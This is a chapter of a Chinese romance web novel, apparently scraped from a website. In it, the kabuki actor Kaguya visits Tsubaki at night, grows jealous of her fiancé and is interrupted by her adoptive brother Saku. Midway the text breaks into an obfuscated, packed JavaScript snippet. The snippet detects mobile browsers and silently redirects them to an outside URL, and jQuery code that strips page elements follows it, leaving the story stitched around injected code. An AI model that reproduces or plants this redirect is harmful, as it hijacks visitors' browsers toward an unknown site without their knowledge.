他站在月光下，穿着一件靛蓝色染付的浴衣。墨黑的长发这次没有像舞台上那样复杂绾起，只是用一根绸带松松地束在脑后，几缕碎发垂在颊边，更衬得他面容精致，肤色白皙，在月光下几乎有种透明的美感。
说起来，“辉夜”这个名字是他进入成濑家学习歌舞伎后师父赐予的艺名，取自《竹取物语》中的辉夜姬，寓意其容貌与资质。
他原来的名字是什么？椿没问过，他似乎也从未主动提起。
椿手趴在窗格上，微微探出身看着月光下的他：“我已经好累了，辉夜。”
辉夜还维持着微微仰头、仿佛下一刻就要攀爬上来的姿势，闻言他仰着脸看她，眼睛映着月光和她倚窗的身影。
他回答道，声音清润：“我不闹你，我帮你按按。”
椿没全信这话。
辉夜这人心思纯粹得像一张白纸，谷欠望也直接得可怕。
他确实不会主动要求什么复杂的事情，但他会无意识地“勾引”。用他那张过分漂亮的脸，用他那双清澈又无辜的眼睛，用他那种全然的依赖和亲近。
他们两人之间向来是她因怜惜或因某种莫名的冲动而主动开始，最终以两人厮混、理智失控结束。
她看着他，最终还是叹了口气，向他伸出了手。
“上来吧。”
辉夜的眼睛微微亮了一下。
他抓住她伸来的手，动作灵巧地借力，如同夜行的猫一般翻过窗棂，落入了她的房间。
他反手轻轻关上了窗，将夏夜的微凉与庭院的虫鸣稍稍隔绝在外。
房间里点着一盏昏暗的座灯，光线柔和。椿方才换下来的那身小紋和服和襦袢还随意地散落在榻榻米上。
辉夜站在房间中央，目光先是落在她带着倦意的脸上，然后才缓缓扫过散落的衣物，最后又回到她身上。
他只是那样静静地看着她，房间内一时静谧，只有灯芯偶尔爆开的细微噼啪声，和两人的呼吸声。
“你呆一会儿就要走。”
辉夜没有回答，只是无声地绕到她身后。
他温热的手掌轻轻搭上她的肩膀，开始揉按她因旅途劳顿而僵硬的肩颈。夏季衣料轻薄，他掌心的温度几乎毫无阻隔地透过来，熨帖着酸胀的肌肉。
按了一会儿他停下动作，微微俯身，下巴轻轻抵在她单薄的肩膀上。
他们此刻离那盏昏暗的座灯有些距离，灯光无法将他们的身影清晰地投射到纸门上，只在地上拉出两道模糊交融的暗影。
他凑近她的耳边，温热的气息拂过她的耳廓，声音压得极低。
“把灯吹了吧……”他轻声说，如同夜风絮语，“我陪你过夜，天亮才走。”
说着他空着的那只手，开始有一下没一下地拢着她披散在背后的乌黑长发，手指穿梭在发丝间。这是他后来才偶然发现的，这样梳理她的头发，她会很容易放松下来，甚至泛起困意。
椿身体诚实地向后靠去，将大半的重量倚在了他身上。
辉夜虽然在舞台上扮演女形，身姿柔美，平时看着也略显单薄，但毕竟是个正在抽条成长的少年，骨架在那里，肩膀比她预想的要宽厚结实得多。
她靠着他，感受着他身上传来的淡淡皂角气，闭着眼轻声问：“平时……你没那么粘人的。”
辉夜调整了一下姿势，让她靠得更舒服些，他的声音从她头顶传来：“我害怕。”
椿微微动了一下：“怕什么？”
“怕你去了一趟东京，怕你被传说中风清霁月的一条熏迷了眼，就不再理我了。”
听到这话椿闭着眼，却忍不住弯了弯唇角。
她抬起一只手，向后摸索，指尖先是触到了他低垂的眼睫，那睫毛很长在她指腹下轻轻颤动，像受惊的蝶翼。然后她的手指又滑到他轮廓清晰的耳廓，轻轻捏了捏。
“怎么会，如果真的不理你，我连窗子都不会帮你开。”
辉夜似乎因她这个动作和话语而安心了些，他低低地轻笑一声，搂着她肩膀的手臂不自觉地用了些力，将她更紧地圈在自己怀里。
他说出的话，却带着一种与他精致面容不符的偏执。
“如果真的是那样的话，我恐怕就直接死在你的窗下。就算是死，手还要保持着往你窗子伸的姿势，椿小姐……我就变成怨灵也要缠上你。”
椿想回头去看他此刻的表情。
辉夜总是这样，会用他那张纯然无害的脸，说出一些关于生死纠缠的、令人毛骨悚然的话。
这让她想起那些流传在町间巷尾的民间怪谈，比如《牡丹灯笼》里那位死后执着于情郎、提着灯笼夜夜相会的阿露，或是《四谷怪谈》中含恨而死后化作厉鬼纠缠仇敌的阿岩。
他似乎本能地觉得，唯有将生命与死亡都与她捆绑在一起，才能确证某种永恒的所有权。
她伸手，轻轻扯了扯他束在脑后的发带：“别说这样的事。”
辉夜立刻安静了下来，像一只被顺毛安抚了的猫。
他不再言语，维持着拥抱的姿势，下巴依旧抵着她的发顶，呼吸渐渐与她同步。
房间里重归寂静，只有灯花偶尔轻微的爆裂声。
椿靠着他，闭目养神，疲惫涌上。
就在她意识即将沉入睡眠的边界时，却听到他再次开口，声音很轻。
“你跟他……有亲密接触了吗？”
椿的睡意瞬间消散，她睁开了眼睛。
见她这个反应，辉夜像是得到了确认，一直压抑着的某种情绪骤然失控。他猛地收紧手臂，几乎勒得她有些喘不过气。
“亲了吧，他难道比我做的还多吗？”他语无伦次地追问，带着孩子气的比较，“我跟他你更喜欢谁？他一定比不过我吧。”
他像是要证明自己的独一无二，语气变得刻薄起来，“像他那样的富家子一定不擅长体贴人，没有什么……服务意识。他懂得怎么让你舒服吗？他知道你哪里……”
“辉夜。”椿厉声打断了他越来越不堪入耳的话。
她用力挣开他的怀抱，转过身面对着他。在昏暗的光线下，他的眼睛亮得惊人。
她看着他，深吸一口气。
“辉夜，我跟他是未婚夫妻。这样的事以后还会有。”
她一字一顿地说，“如果你受不住，我们就算了。”
“算了”这两个字，瞬间定住了辉夜所有的动作和言语。
他脸上的疯狂和嫉妒褪去，张了张嘴，却发不出任何声音，只是瞪大了眼睛看着她。
她总是能够这样，用最简洁的话语，最精准地捏住他的命脉，治住他所有的疯癫与不安分。
房间里再次陷入死寂，比之前更加沉重。
这时廊上传来一阵轻微却清晰的脚步声，由远及近，最终停在了她的房门外。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244220|197308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
纸门上，清晰地透出一个修长的人影。
门外的人似乎犹豫了一下，然后：“姐姐，睡下了吗？你带回来的礼物……好像给错了。”
是朔。
屋内灯火未熄，昏黄的座灯将室内两人的轮廓模糊地投射在薄薄的樟子纸上。
辉夜在听到门外朔的声音，像藤蔓般更紧地贴附上来。他的剪影与椿的瞬间重叠了一部分，从门外看去仿佛亲密依偎。
他凑到她耳边，气息温热：“没关系的……反正他也知道我们两个。”
成濑朔确实早就知道辉夜与她之间这不清不楚的关系，也不止一次，在无人的廊下或是僻静的庭院角落，用那种带着阴湿关怀的语调私下劝诫她。
他会说：“姐姐，辉夜师兄毕竟是内弟子，身份悬殊，您还是谨慎些好，莫要行差踏错，徒惹是非。”
总是摆出一副为她着想的姿态，实际上他到底是怎么想的谁也不知道。
椿一边将辉夜推开，一边定了定神，向着依旧杵在门外的朔回话。
“可能是佣人分错了，今天太晚了追究起来劳神，明天再问问吧。”她希望他能识趣地离开。
门外的人影并未移动，夜更深了，连庭院的虫鸣都稀疏了些许，只有风吹过竹林的沙沙声。
屋内辉夜依旧紧贴着她，像一块甩不掉的膏药。
过了好一会儿，门外才再次响起朔的声音，不高。
他问她：“是什么礼物？”
是什么礼物？
她本来根本就没有特意为他挑选礼物，父亲母亲、亲近的侍女、辉夜、父亲较为看重的几个内弟子，她都一一想到了。但如果独独漏掉他这个名义上的“弟弟”，未免显得太过刻意，徒惹猜疑。
在熏提醒她礼物是否周全时，她才临时从给其他内弟子准备的备用礼物里，随手拿了一件不起眼的小东西混进去。
被佣人弄混、遗漏，都是极正常的。
现在他执着地追问，她一时竟说不出那具体是什么，只是一个劲地含糊其辞：“不是什么重要的东西……明天再说吧。”
但朔显然不愿意就此罢休。
门外的身影依旧定定地立着。
一股无名火蓦地窜上椿的心头，她转身，快步走到房间角落，打开自己尚未完全收拾好的衣箱。里面除了衣物，还有一些零散的布料和配件。
她翻找了一下，抽出一条素色的、质地尚可的博多织腰带。
那是年轻男子也可以使用的，不带明显女性花纹的款式。
她拿起放在镜台上的小剪子，比划了一下，然后“咔嚓”几声，利落地将那条长长的腰带剪短，裁成了男士惯用的长度。
椿走到门边，将门打开了一道狭窄的缝隙，刚好容她侧身钻出去。她整个人置身于门外廊下昏暗的光线里，将那条刚刚裁剪好的素色腰带递向站在阴影中的朔。
廊下的夜灯光线朦胧，勾勒出朔的身影。
他今日穿着一件深灰色的家常棉麻和服，颜色几乎要融进夜色里。当椿突然开门出现时，他显然猝不及防，目光下意识地抬起落在她身上。
她只穿着那件薄棉寝间着，夏季衣料本就通透，确实过于轻薄了。
朔像是被烫到一般，立刻飞快地别开了眼，视线落在廊外的庭院里，不敢再看她。
“拿着。”椿的语气硬邦邦的，“别再问我讨礼物了。”